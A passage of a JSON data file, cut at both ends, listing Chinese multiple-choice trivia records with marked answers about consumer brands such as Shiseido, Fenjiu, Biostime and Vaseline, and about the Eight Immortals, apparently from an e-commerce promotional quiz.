04:48:15","status":"1"},{"questionId":"4901451761","questionIndex":"4","questionStem":"以下哪个不属于资生堂业务的?","options":"[{\"optionId\":\"L80Sx0BWjjl32SnwQkmfcKtqe7sVnQX7yjA\",\"optionDesc\":\"身体护理\"},{\"optionId\":\"L80Sx0BWjjl32SnwQkmfcbkizKoYOyUwwIs\",\"optionDesc\":\"洗发护发\"},{\"optionId\":\"L80Sx0BWjjl32SnwQkmfcst6wC4ibdZ62uI\",\"optionDesc\":\"营养健康\\t\\t\"}]","questionToken":"L80Sx0BWjjl32SmnUQGEJ1A9L4S2jg4MMy3JTQt7pwytxcVzQZHoXe08Qhywv2SSv9PeCxSDDRh2y_PMEVvZbNta2q95IA","correct":"{\"optionId\":\"L80Sx0BWjjl32SnwQkmfcst6wC4ibdZ62uI\",\"optionDesc\":\"营养健康\\t\\t\"}","create_time":"27/1/2021 04:40:41","update_time":"27/1/2021 04:40:41","status":"1"},{"questionId":"4901451762","questionIndex":"3","questionStem":"资生堂最畅销的品牌是哪个?","options":"[{\"optionId\":\"L80Sx0BWjjl32inwQkmfcuvqHB5fD7TAta-_mA\",\"optionDesc\":\"惠润\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl32inwQkmfcbEDDI-AI2DKw45Amw\",\"optionDesc\":\"珊珂\"},{\"optionId\":\"L80Sx0BWjjl32inwQkmfcJYOxxsdJ5_tpBJb5g\",\"optionDesc\":\"丝蓓绮\"}]","questionToken":"L80Sx0BWjjl32imgUQGEJ3gidoDlRVOq_lG-_BXfE-pKPoAl-u035YUBxW2Re9nXYKk_Oo7IeuDUtkidC4b481pnopMlRA","correct":"{\"optionId\":\"L80Sx0BWjjl32inwQkmfcuvqHB5fD7TAta-_mA\",\"optionDesc\":\"惠润\\t\\t\"}","create_time":"27/1/2021 04:49:18","update_time":"27/1/2021 04:49:18","status":"1"},{"questionId":"4901451763","questionIndex":"5","questionStem":"资生堂标志的颜色是哪个?","options":"[{\"optionId\":\"L80Sx0BWjjl32ynwQkmfcQP7kPU5UHsKWQE\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"L80Sx0BWjjl32ynwQkmfci6IqMuqiINiTu0\",\"optionDesc\":\"红色\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl32ynwQkmfcMJVSQRJtATqHqM\",\"optionDesc\":\"绿色\"}]","questionToken":"L80Sx0BWjjl32ymmUQGEIGNq-hetky_kcH250U5JalIAMO735NmUE36nr74mlnl40XOaBLudn5QSdHSO3TZ47t6-Iz2MIw","correct":"{\"optionId\":\"L80Sx0BWjjl32ynwQkmfci6IqMuqiINiTu0\",\"optionDesc\":\"红色\\t\\t\"}","create_time":"27/1/2021 04:53:30","update_time":"27/1/2021 04:53:30","status":"1"},{"questionId":"4901451764","questionIndex":"4","questionStem":"汾酒产自哪里?","options":"[{\"optionId\":\"L80Sx0BWjjl33CnwQkmfcuhlXavPofhnF_KA\",\"optionDesc\":\"山西\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl33CnwQkmfcP6CwZVvQtAyjMSV\",\"optionDesc\":\"贵州\"},{\"optionId\":\"L80Sx0BWjjl33CnwQkmfcVF6YMm_QsXJfmTf\",\"optionDesc\":\"陕西\"}]","questionToken":"L80Sx0BWjjl33CmnUQGEJ-vx-aJEgQuZaaCpU8RRGH11BUYYeSRXL6KUBe2Jwv5gSEDAKoaNUiAXm8_stTz2kbbXCqiytA","correct":"{\"optionId\":\"L80Sx0BWjjl33CnwQkmfcuhlXavPofhnF_KA\",\"optionDesc\":\"山西\\t\\t\"}","create_time":"27/1/2021 04:51:39","update_time":"27/1/2021 04:51:39","status":"1"},{"questionId":"4901451766","questionIndex":"4","questionStem":"汾酒是属于什么香型的白酒?","options":"[{\"optionId\":\"L80Sx0BWjjl33inwQkmfcWPoWqRMC7XvCNEl\",\"optionDesc\":\"酱香型\"},{\"optionId\":\"L80Sx0BWjjl33inwQkmfck4WfdVBaDB3eljN\",\"optionDesc\":\"清香型\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl33inwQkmfcHO1DNjD3zsIINxG\",\"optionDesc\":\"浓香型\"}]","questionToken":"L80Sx0BWjjl33imnUQGEINRj4kWqf7NM4NsAmcaF8ZEvO5phKzw-xTxRgW8AYyBWJwkfAVqegO3OYLbE6DdZ83v9FyHxJg","correct":"{\"optionId\":\"L80Sx0BWjjl33inwQkmfck4WfdVBaDB3eljN\",\"optionDesc\":\"清香型\\t\\t\"}","create_time":"27/1/2021 04:39:56","update_time":"27/1/2021 04:39:56","status":"1"},{"questionId":"4901451767","questionIndex":"3","questionStem":"汾酒最畅销的是哪款?","options":"[{\"optionId\":\"L80Sx0BWjjl33ynwQkmfcfQCJ-SEvZ8b9aCX\",\"optionDesc\":\"乳玻汾\"},{\"optionId\":\"L80Sx0BWjjl33ynwQkmfcH_7wawyJfFqg6lT\",\"optionDesc\":\"封坛\"},{\"optionId\":\"L80Sx0BWjjl33ynwQkmfcp2v5WbQofhioDEY\",\"optionDesc\":\"黄盖玻汾\\t\\t\"}]","questionToken":"L80Sx0BWjjl33ymgUQGEIJS1XWdnYScaQwMLF41ss-VDcwd1r3AzQFTIP1V8EJlVaArXgrsv35G9d8rTY9fgmcMC9rPVuA","correct":"{\"optionId\":\"L80Sx0BWjjl33ynwQkmfcp2v5WbQofhioDEY\",\"optionDesc\":\"黄盖玻汾\\t\\t\"}","create_time":"27/1/2021 04:35:34","update_time":"27/1/2021 04:35:34","status":"1"},{"questionId":"4901451768","questionIndex":"3","questionStem":"汾酒最具代表的是哪款?","options":"[{\"optionId\":\"L80Sx0BWjjl30CnwQkmfcmVedPKKQ1oN\",\"optionDesc\":\"青花30\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl30CnwQkmfcKAP9V41Ve2B\",\"optionDesc\":\"乳玻汾\"},{\"optionId\":\"L80Sx0BWjjl30CnwQkmfcYVwzPo-gRnp\",\"optionDesc\":\"黄盖玻汾\"}]","questionToken":"L80Sx0BWjjl30CmgUQGEJ6kS_QYQhwrOcoCbdL5B7BSAE5lgRyHZdA8HNS9Mca-9zGgX8ck9oHCbSh6hKjjf9J5ZE971Gw","correct":"{\"optionId\":\"L80Sx0BWjjl30CnwQkmfcmVedPKKQ1oN\",\"optionDesc\":\"青花30\\t\\t\"}","create_time":"27/1/2021 04:53:03","update_time":"27/1/2021 04:53:03","status":"1"},{"questionId":"4901451772","questionIndex":"1","questionStem":"如何辨别汾酒的真伪?","options":"[{\"optionId\":\"L80Sx0BWjjl22inwQkmfcbSgFURbRL2OHeIEJg\",\"optionDesc\":\"尝试酒劲大小\"},{\"optionId\":\"L80Sx0BWjjl22inwQkmfcNtylMRxGKSBRRKVPw\",\"optionDesc\":\"闻酒香浓度\"},{\"optionId\":\"L80Sx0BWjjl22inwQkmfcqMV-10TpoN5Fh4Htw\",\"optionDesc\":\"用手机扫瓶身二维码识别\"}]","questionToken":"L80Sx0BWjjl22imiUQGEJzgxPlAnKl8QUfQtF-dZIYbIIzJJ0_JK6R32czSRurktdY1O6VUdapSl4M1RA2emhfjLZse9gw","correct":"{\"optionId\":\"L80Sx0BWjjl22inwQkmfcqMV-10TpoN5Fh4Htw\",\"optionDesc\":\"用手机扫瓶身二维码识别\"}","create_time":"27/1/2021 03:39:49","update_time":"27/1/2021 03:39:49","status":"1"},{"questionId":"4901451773","questionIndex":"5","questionStem":"合生元品牌历史有多久?","options":"[{\"optionId\":\"L80Sx0BWjjl22ynwQkmfcc-ZL095iwe3037F\",\"optionDesc\":\"5年\"},{\"optionId\":\"L80Sx0BWjjl22ynwQkmfcjf394TulKcQVshA\",\"optionDesc\":\"20年以上\"},{\"optionId\":\"L80Sx0BWjjl22ynwQkmfcIy-9r5H55iSHjLA\",\"optionDesc\":\"10年\"}]","questionToken":"L80Sx0BWjjl22ymmUQGEJ52szeMw73wBE48QWNUKhEi7j1pso98Mo_pNYh0qenTzd9ueu5ruVa2qq8G4JHuDye5XjIPWiw","correct":"{\"optionId\":\"L80Sx0BWjjl22ynwQkmfcjf394TulKcQVshA\",\"optionDesc\":\"20年以上\"}","create_time":"27/1/2021 04:44:16","update_time":"27/1/2021 04:44:16","status":"1"},{"questionId":"4901451774","questionIndex":"5","questionStem":"以下哪个品牌不属于合生元集团?","options":"[{\"optionId\":\"L80Sx0BWjjl23CnwQkmfclV9_118Nr6c9WdyMg\",\"optionDesc\":\"妈咪爱\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl23CnwQkmfcTqo18DrQzNj47_Bgg\",\"optionDesc\":\"Swisse\"},{\"optionId\":\"L80Sx0BWjjl23CnwQkmfcCkmtMItQZUWWO7CeQ\",\"optionDesc\":\"Dodie\"}]","questionToken":"L80Sx0BWjjl23CmmUQGEJx2CnGU2qdRHabbP_wLdMLxmig0xN6LAFvnF6czaIqVXH6NoNrePCsdL2PyUFZq3T0lSwVPOAg","correct":"{\"optionId\":\"L80Sx0BWjjl23CnwQkmfclV9_118Nr6c9WdyMg\",\"optionDesc\":\"妈咪爱\\t\\t\"}","create_time":"27/1/2021 04:49:18","update_time":"27/1/2021 04:49:18","status":"1"},{"questionId":"4901451775","questionIndex":"1","questionStem":"以下哪个不属于合生元业务?","options":"[{\"optionId\":\"L80Sx0BWjjl23SnwQkmfcFbw533q7lpg3qYj6w\",\"optionDesc\":\"婴幼儿益生菌\"},{\"optionId\":\"L80Sx0BWjjl23SnwQkmfceC9kcbxZ5EwnEJpNg\",\"optionDesc\":\"婴幼儿奶粉\"},{\"optionId\":\"L80Sx0BWjjl23SnwQkmfciHOl7pxE2vIn2OS_g\",\"optionDesc\":\"成人奶粉\\t\\t\"}]","questionToken":"L80Sx0BWjjl23SmiUQGEIPLSb2SGSRpSpZsUQZlfCtDYwTycPmS788XL-qBR4BrwGps347iB7AhyJR2IRGweA9NDugemrQ","correct":"{\"optionId\":\"L80Sx0BWjjl23SnwQkmfciHOl7pxE2vIn2OS_g\",\"optionDesc\":\"成人奶粉\\t\\t\"}","create_time":"27/1/2021 04:40:06","update_time":"27/1/2021 04:40:06","status":"1"},{"questionId":"4901451776","questionIndex":"5","questionStem":"以下哪个品类奶粉合生元没有涉猎?","options":"[{\"optionId\":\"L80Sx0BWjjl23inwQkmfcVadT4rvKLKgjA\",\"optionDesc\":\"羊奶粉\"},{\"optionId\":\"L80Sx0BWjjl23inwQkmfcCNSeIjyl5mrZQ\",\"optionDesc\":\"有机奶粉\"},{\"optionId\":\"L80Sx0BWjjl23inwQkmfctOfVbYv7Ur18w\",\"optionDesc\":\"特配奶粉\\t\\t\"}]","questionToken":"L80Sx0BWjjl23immUQGEJ1k14nKwAGrDvFVHtDv5GhpdMUQ6axF9iN7rHSsU9cN-h0pcaoQRgOUH6b21cXfE7tXj_C5hcw","correct":"{\"optionId\":\"L80Sx0BWjjl23inwQkmfctOfVbYv7Ur18w\",\"optionDesc\":\"特配奶粉\\t\\t\"}","create_time":"27/1/2021 04:48:51","update_time":"27/1/2021 04:48:51","status":"1"},{"questionId":"4901451777","questionIndex":"3","questionStem":"以下哪个不是合生元派星系列奶粉的特点?","options":"[{\"optionId\":\"L80Sx0BWjjl23ynwQkmfcMH-wbFIyotQNWMB\",\"optionDesc\":\"亲和结构脂\"},{\"optionId\":\"L80Sx0BWjjl23ynwQkmfcsF4qzcBrGE58kPc\",\"optionDesc\":\"口味浓郁\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl23ynwQkmfceeuVgQqBZw725x3\",\"optionDesc\":\"比乳铁蛋白珍稀\"}]","questionToken":"L80Sx0BWjjl23ymgUQGEJ2b-oNxKXUSrcDWYR6R_3y1PBe1KhZjl7KdvaV3Mp4pA0q4Y6627W-uCY_di5YaVH3dq6fMZwQ","correct":"{\"optionId\":\"L80Sx0BWjjl23ynwQkmfcsF4qzcBrGE58kPc\",\"optionDesc\":\"口味浓郁\\t\\t\"}","create_time":"27/1/2021 04:41:47","update_time":"27/1/2021 04:41:47","status":"1"},{"questionId":"6001429786","questionIndex":"1","questionStem":"美瞳是强生的注册商标吗?","options":"[{\"optionId\":\"LcQSx0BRhjkYVk74eZSj5x7R94kgQwlLUP0\",\"optionDesc\":\"不是\"},{\"optionId\":\"LcQSx0BRhjkYVk74eZSj5hPzoEPU7kEqGvg\",\"optionDesc\":\"不清楚\"},{\"optionId\":\"LcQSx0BRhjkYVk74eZSj5MOg_BDkA8NEO0I\",\"optionDesc\":\"是\"}]","questionToken":"LcQSx0BRhjkYVk6qaty4tpyHZd1oywGb56qYqDuhMS8Qmgxz4uzYPlahowfCMN0PRs18R55FPV5upL91Rv202E0vwM-5Tg","correct":"{\"optionId\":\"LcQSx0BRhjkYVk74eZSj5MOg_BDkA8NEO0I\",\"optionDesc\":\"是\"}","create_time":"2/2/2021 16:47:42","update_time":"2/2/2021 16:47:42","status":"1"},{"questionId":"6001429787","questionIndex":"5","questionStem":"强生隐形眼镜提倡的是?","options":"[{\"optionId\":\"LcQSx0BRhjkYV074eZSj5woYKdvdSmZ2S_2h\",\"optionDesc\":\"抛型周期越长越划算 \"},{\"optionId\":\"LcQSx0BRhjkYV074eZSj5td7aFAIA77eOHuv\",\"optionDesc\":\"美瞳色素越夸张越好\"},{\"optionId\":\"LcQSx0BRhjkYV074eZSj5HVRw-hUwB8F8O-E\",\"optionDesc\":\"抛型周期越短越健康 \\t\\t\"}]","questionToken":"LcQSx0BRhjkYV06uaty4scAiljLix2LY_3y_4d3vWa_NxrijnpOyFrCz5Ky9qY9KybWcrNRehbgOZjskPu0E2YTsQ7Cpyg","correct":"{\"optionId\":\"LcQSx0BRhjkYV074eZSj5HVRw-hUwB8F8O-E\",\"optionDesc\":\"抛型周期越短越健康 \\t\\t\"}","create_time":"2/2/2021 16:47:30","update_time":"2/2/2021 16:47:30","status":"1"},{"questionId":"6001429788","questionIndex":"3","questionStem":"以下哪个不是强生隐形眼镜售卖的抛型?","options":"[{\"optionId\":\"LcQSx0BRhjkYWE74eZSj5qacv42WrvrhEw\",\"optionDesc\":\"双周抛\"},{\"optionId\":\"LcQSx0BRhjkYWE74eZSj5wiGMorE6lFssw\",\"optionDesc\":\"日抛\"},{\"optionId\":\"LcQSx0BRhjkYWE74eZSj5Iubm06k49eZ9Q\",\"optionDesc\":\"年抛 \\t \\t\"}]","questionToken":"LcQSx0BRhjkYWE6oaty4sXueUKVBt80--3iLm0HVJqAJBweWVpXyPRBDib8pXtQ_Bs82bGGsDk3fg2gaRXhyRRpWMrp5fQ","correct":"{\"optionId\":\"LcQSx0BRhjkYWE74eZSj5Iubm06k49eZ9Q\",\"optionDesc\":\"年抛 \\t \\t\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6001429791","questionIndex":"1","questionStem":"三枪品牌创始于哪一年?","options":"[{\"optionId\":\"LcQSx0BRhjkZUU74eZSj5vcklVOsNK7y-1_3\",\"optionDesc\":\"1957\"},{\"optionId\":\"LcQSx0BRhjkZUU74eZSj57dcwWrZ0roGqiNq\",\"optionDesc\":\"1994\"},{\"optionId\":\"LcQSx0BRhjkZUU74eZSj5BYA5FfF_8maWYH4\",\"optionDesc\":\"1937\\t\\t\"}]","questionToken":"LcQSx0BRhjkZUU6qaty4tuR-0jzYFdp-odTmouxkm5bHpHQB4m44_FOecKgFbDzANWs31TRuxoqgmZ9XVEJ56OB_2LZBTA","correct":"{\"optionId\":\"LcQSx0BRhjkZUU74eZSj5BYA5FfF_8maWYH4\",\"optionDesc\":\"1937\\t\\t\"}","create_time":"2/2/2021 16:47:56","update_time":"2/2/2021 16:47:56","status":"1"},{"questionId":"6001429795","questionIndex":"3","questionStem":"佳佰 万信达在京东主营什么产品?","options":"[{\"optionId\":\"LcQSx0BRhjkZVU74eZSj5KCUHY65he-1UeAF\",\"optionDesc\":\"口罩\\t\"},{\"optionId\":\"LcQSx0BRhjkZVU74eZSj58NVbh5EwP7vbQOC\",\"optionDesc\":\"箱包\\t\"},{\"optionId\":\"LcQSx0BRhjkZVU74eZSj5rtuZw0-HcD-16CY\",\"optionDesc\":\"护肤品\"}]","questionToken":"LcQSx0BRhjkZVU6oaty4saIse_zPzUm6Clex2SI9FYJKImS_QPjNwTyOvHbbceoKyfyrY7EJkb6VcbLyN1e9FlyCFcn-tA","correct":"{\"optionId\":\"LcQSx0BRhjkZVU74eZSj5KCUHY65he-1UeAF\",\"optionDesc\":\"口罩\\t\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"6001429796","questionIndex":"2","questionStem":"佳佰 万信达今年推出了什么产品?","options":"[{\"optionId\":\"LcQSx0BRhjkZVk74eZSj5xAe-yjzAtMpUw\",\"optionDesc\":\"拜年箱包\\t\"},{\"optionId\":\"LcQSx0BRhjkZVk74eZSj5kyNlZuqwYGpLg\",\"optionDesc\":\"拜年手机\"},{\"optionId\":\"LcQSx0BRhjkZVk74eZSj5DYbQcW0_gcJdg\",\"optionDesc\":\"拜年口罩\\t\"}]","questionToken":"LcQSx0BRhjkZVk6paty4thJ8G4Yiuju_3ih37MtEkoLMrlO8v_mgGrVp5G2aPqmTmf2125R_CafjRCxAGiwPVj_nLX3XRQ","correct":"{\"optionId\":\"LcQSx0BRhjkZVk74eZSj5DYbQcW0_gcJdg\",\"optionDesc\":\"拜年口罩\\t\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"6001429797","questionIndex":"2","questionStem":"佳佰 万信达LOGO简称是?","options":"[{\"optionId\":\"LcQSx0BRhjkZV074eZSj5G9czggkG1DtH4Q\",\"optionDesc\":\"WXD\\t\"},{\"optionId\":\"LcQSx0BRhjkZV074eZSj5kskSKAbz3XWrMQ\",\"optionDesc\":\"WDX\"},{\"optionId\":\"LcQSx0BRhjkZV074eZSj5-7m35ZA2IUPjb8\",\"optionDesc\":\"WXDD\\t\"}]","questionToken":"LcQSx0BRhjkZV06paty4sfzRzTDB665mX6KBZKmvHkEFnFShctZwl357C8-lW5lVx_AEa17312kNVDHPTpY7LPFzImMsiQ","correct":"{\"optionId\":\"LcQSx0BRhjkZV074eZSj5G9czggkG1DtH4Q\",\"optionDesc\":\"WXD\\t\"}","create_time":"2/2/2021 16:47:51","update_time":"2/2/2021 16:47:51","status":"1"},{"questionId":"6001429798","questionIndex":"3","questionStem":"以下哪个不是佳佰 万信达的拜年口罩类型?","options":"[{\"optionId\":\"LcQSx0BRhjkZWE74eZSj5AeN67qnkSna-g0cbQ\",\"optionDesc\":\"福星高照\\t\"},{\"optionId\":\"LcQSx0BRhjkZWE74eZSj5kBeRF7W5_RisEtT-A\",\"optionDesc\":\"牛年顺利\"},{\"optionId\":\"LcQSx0BRhjkZWE74eZSj57BeIUgM2YreLuOs2w\",\"optionDesc\":\"牛转乾坤\\t\"}]","questionToken":"LcQSx0BRhjkZWE6oaty4sfGrMAy4pIqsXFsb-4UOj9LisBl14tubayXYznZY70FZlHvWALqbBTkUq_4GmbC62-at6UwCfg","correct":"","create_time":"2/2/2021 16:48:26","update_time":"2/2/2021 16:48:26","status":"1"},{"questionId":"6001429799","questionIndex":"1","questionStem":"以下哪个是佳佰 万信达产品的覆盖范围?","options":"[{\"optionId\":\"LcQSx0BRhjkZWU74eZSj5AoWg7iRxIWDHbuk\",\"optionDesc\":\"中国\"},{\"optionId\":\"LcQSx0BRhjkZWU74eZSj50ig-7wPts9s4Hsp\",\"optionDesc\":\"英国\"},{\"optionId\":\"LcQSx0BRhjkZWU74eZSj5vdHQ-pySdf2bmgr\",\"optionDesc\":\"俄罗斯\"}]","questionToken":"LcQSx0BRhjkZWU6qaty4sRLZs4ZTwixEkzpCwVxvJIgThjcZTxMpMsEDsbXIqumT9_KhEmP5rjY1zoSs9wM_fusx3kKurw","correct":"{\"optionId\":\"LcQSx0BRhjkZWU74eZSj5AoWg7iRxIWDHbuk\",\"optionDesc\":\"中国\"}","create_time":"2/2/2021 16:47:37","update_time":"2/2/2021 16:47:37","status":"1"},{"questionId":"6001429822","questionIndex":"3","questionStem":"美赞臣在中国的总部是在?","options":"[{\"optionId\":\"LcQSx0BRhjaCFN4Xzx0OS1O5WXQQrWodg6fP\",\"optionDesc\":\"北京\"},{\"optionId\":\"LcQSx0BRhjaCFN4Xzx0OSTpqOCtwucpH8QbB\",\"optionDesc\":\"广州\\t\"},{\"optionId\":\"LcQSx0BRhjaCFN4Xzx0OSvbFOT4KhHL2Ig05\",\"optionDesc\":\"上海\\t\"}]","questionToken":"LcQSx0BRhjaCFN5H3FUVHHbPUBqTP-KbkTxjSDfe2x44ClFX3FOuw-EHKM-5AkbBv7E1ZA1FzmbHc963iu9D7d-yHaNiyg","correct":"{\"optionId\":\"LcQSx0BRhjaCFN4Xzx0OSTpqOCtwucpH8QbB\",\"optionDesc\":\"广州\\t\"}","create_time":"2/2/2021 16:47:56","update_time":"2/2/2021 16:47:56","status":"1"},{"questionId":"6001429824","questionIndex":"4","questionStem":"凡士林的品牌logo颜色是?","options":"[{\"optionId\":\"LcQSx0BRhjaCEt4Xzx0OSqhDGFPtvityluqpvg\",\"optionDesc\":\"粉白\\t\"},{\"optionId\":\"LcQSx0BRhjaCEt4Xzx0OS_DZCPVVJQNYeZ-DPw\",\"optionDesc\":\"黄白\"},{\"optionId\":\"LcQSx0BRhjaCEt4Xzx0OSQufQY6isqr6J2RQYw\",\"optionDesc\":\"蓝白\"}]","questionToken":"LcQSx0BRhjaCEt5A3FUVHI9rmHEGLdNGbW3Vtzvnq0q45IPRWp7eMXLI5bCPZjAZ0Iw8CPHlqxPt6EkrOzEGuG3N1YsoHw","correct":"{\"optionId\":\"LcQSx0BRhjaCEt4Xzx0OSQufQY6isqr6J2RQYw\",\"optionDesc\":\"蓝白\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001429825","questionIndex":"5","questionStem":"凡士林晶冻的主要功能是?","options":"[{\"optionId\":\"LcQSx0BRhjaCE94Xzx0OSSZayxyixj6siW5z4Q\",\"optionDesc\":\"修护\\t\"},{\"optionId\":\"LcQSx0BRhjaCE94Xzx0OS-Uonol1zbYQwqA1qA\",\"optionDesc\":\"抗衰\"},{\"optionId\":\"LcQSx0BRhjaCE94Xzx0OSmjqRJb-2PELM1bh_w\",\"optionDesc\":\"美白\\t\"}]","questionToken":"LcQSx0BRhjaCE95B3FUVHCzVPCfXFiY0rnHrfYXfvLcx960Z5gft2UeioypWn5LRGF9BWFIK4IfpAXWZCD3kvuvG8Ld4pA","correct":"{\"optionId\":\"LcQSx0BRhjaCE94Xzx0OSSZayxyixj6siW5z4Q\",\"optionDesc\":\"修护\\t\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001429826","questionIndex":"5","questionStem":"凡士林的哪个产品曾在战争时作为医疗用途?","options":"[{\"optionId\":\"LcQSx0BRhjaCEN4Xzx0OSbfTgG-r-hURsE0Z\",\"optionDesc\":\"晶冻\\t\\t\"},{\"optionId\":\"LcQSx0BRhjaCEN4Xzx0OSpjkN_FjaK18KMZD\",\"optionDesc\":\"大粉瓶身体乳\"},{\"optionId\":\"LcQSx0BRhjaCEN4Xzx0OSw6g9lDIU60jzwbf\",\"optionDesc\":\"手膜\"}]","questionToken":"LcQSx0BRhjaCEN5B3FUVG3cGDjB9E1t2yVwupbZg71_coSw6C0ynDGMx8IGCXmpMcy7x07rusqz86YpaQQ8Pcv9ooQh-9A","correct":"{\"optionId\":\"LcQSx0BRhjaCEN4Xzx0OSbfTgG-r-hURsE0Z\",\"optionDesc\":\"晶冻\\t\\t\"}","create_time":"2/2/2021 16:47:59","update_time":"2/2/2021 16:47:59","status":"1"},{"questionId":"6001429827","questionIndex":"2","questionStem":"凡士林精华身体乳derma 5号主要功效是?","options":"[{\"optionId\":\"LcQSx0BRhjaCEd4Xzx0OS16mwQ33eJvb4JBp\",\"optionDesc\":\"除皱纹\"},{\"optionId\":\"LcQSx0BRhjaCEd4Xzx0OSgjBertvu4jlKunp\",\"optionDesc\":\"美白\\t\"},{\"optionId\":\"LcQSx0BRhjaCEd4Xzx0OScl0kNzpISew8U4x\",\"optionDesc\":\"去鸡皮\\t\"}]","questionToken":"LcQSx0BRhjaCEd5G3FUVGwL9BGDzybyAvooUv3M9eJdTTWCyl8tsDiyWO6mPm03JUw06OtT_wkQWq7KS0jVL1RQXVS8rCw","correct":"{\"optionId\":\"LcQSx0BRhjaCEd4Xzx0OScl0kNzpISew8U4x\",\"optionDesc\":\"去鸡皮\\t\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"6001430875","questionIndex":"2","questionStem":"八仙桌的名称由来是?","options":"[{\"optionId\":\"LcQSx0BQjzZSv93ckfe0eRjiLkJ6QdXhatkt\",\"optionDesc\":\"桌子上刻有八仙\"},{\"optionId\":\"LcQSx0BQjzZSv93ckfe0eNWHaa1WGNSoxXwM\",\"optionDesc\":\"桌子有八条腿\"},{\"optionId\":\"LcQSx0BQjzZSv93ckfe0eshTHsn6t0d3YTeE\",\"optionDesc\":\"桌子可围坐八人\"}]","questionToken":"LcQSx0BQjzZSv92Ngr-vL126lzBQox6jm-V9foZ01yNnFqKwfn1C29-ybYOpf9Q_ykXdNpDQ-OEAIKYaj_PwcLGLQTib6g","correct":"{\"optionId\":\"LcQSx0BQjzZSv93ckfe0eshTHsn6t0d3YTeE\",\"optionDesc\":\"桌子可围坐八人\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6001430876","questionIndex":"2","questionStem":"八仙中最晚成仙的是?","options":"[{\"optionId\":\"LcQSx0BQjzZSvN3ckfe0ej0s9r2jJ0KJlVaa\",\"optionDesc\":\"曹国舅\"},{\"optionId\":\"LcQSx0BQjzZSvN3ckfe0eMf5-mwdnx8yIoMS\",\"optionDesc\":\"何仙姑\"},{\"optionId\":\"LcQSx0BQjzZSvN3ckfe0eZAiHcX0t4nad1Fb\",\"optionDesc\":\"韩湘子\"}]","questionToken":"LcQSx0BQjzZSvN2Ngr-vKOS7g5d6DQXZdblyEFbnRvINnGJanhzEON3jgKEpgOtoXj6xDSuYY21fbS1IVR2-YSSq4xiC4w","correct":"{\"optionId\":\"LcQSx0BQjzZSvN3ckfe0ej0s9r2jJ0KJlVaa\",\"optionDesc\":\"曹国舅\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6001430877","questionIndex":"2","questionStem":"八仙中汉钟离的姓氏是?","options":"[{\"optionId\":\"LcQSx0BQjzZSvd3ckfe0etUqZvfhO8IZRLw\",\"optionDesc\":\"钟离\"},{\"optionId\":\"LcQSx0BQjzZSvd3ckfe0eQhWf_l9YYBzSgk\",\"optionDesc\":\"钟\"},{\"optionId\":\"LcQSx0BQjzZSvd3ckfe0eL570m2z0zqwCi8\",\"optionDesc\":\"汉\"}]","questionToken":"LcQSx0BQjzZSvd2Ngr-vLwUkaQWxj6NA1hQYcDL6y8lkPePTZx22reE70fkA9v5oZcRJONxM7xEm8EhAmI-qRA0uZPEPoQ","correct":"{\"optionId\":\"LcQSx0BQjzZSvd3ckfe0etUqZvfhO8IZRLw\",\"optionDesc\":\"钟离\"}","create_time":"2/2/2021 16:48:39","update_time":"2/2/2021 16:48:39","status":"1"},{"questionId":"6001430878","questionIndex":"1","questionStem":"传说中八仙得道前年事最高的人?","options":"[{\"optionId\":\"LcQSx0BQjzZSst3ckfe0efI-9We_jZlIXw\",\"optionDesc\":\"铁拐李\"},{\"optionId\":\"LcQSx0BQjzZSst3ckfe0eB6WMAzhgcfG1Q\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjzZSst3ckfe0eiRskAJapVdXRw\",\"optionDesc\":\"张果老\"}]","questionToken":"LcQSx0BQjzZSst2Ogr-vKKzOgAsa0AE541wddzbEs_mkaOeHGIZAZMpG2VSfdpZaWJNTHX1FxOTuzAGBP3pK_1M2djV4xg","correct":"{\"optionId\":\"LcQSx0BQjzZSst3ckfe0eiRskAJapVdXRw\",\"optionDesc\":\"张果老\"}","create_time":"2/2/2021 16:48:12","update_time":"2/2/2021 16:48:12","status":"1"},{"questionId":"6001430879","questionIndex":"1","questionStem":"根据永乐宫壁画,吕洞宾成仙是由谁度化的?","options":"[{\"optionId\":\"LcQSx0BQjzZSs93ckfe0eWdE9X_cASQWOMg\",\"optionDesc\":\"铁拐李\"},{\"optionId\":\"LcQSx0BQjzZSs93ckfe0eBhOQTZqhRviZfA\",\"optionDesc\":\"曹国舅\"},{\"optionId\":\"LcQSx0BQjzZSs93ckfe0euqFhU5tioOxvNA\",\"optionDesc\":\"钟离权\"}]","questionToken":"LcQSx0BQjzZSs92Ogr-vL0SY1ojebLcEpZF7EuEwWpGGgcIsumxIcjtfpOPHik_rX1eQFBFszg7bfmyFHcXGyPh9w2bMSQ","correct":"{\"optionId\":\"LcQSx0BQjzZSs93ckfe0euqFhU5tioOxvNA\",\"optionDesc\":\"钟离权\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 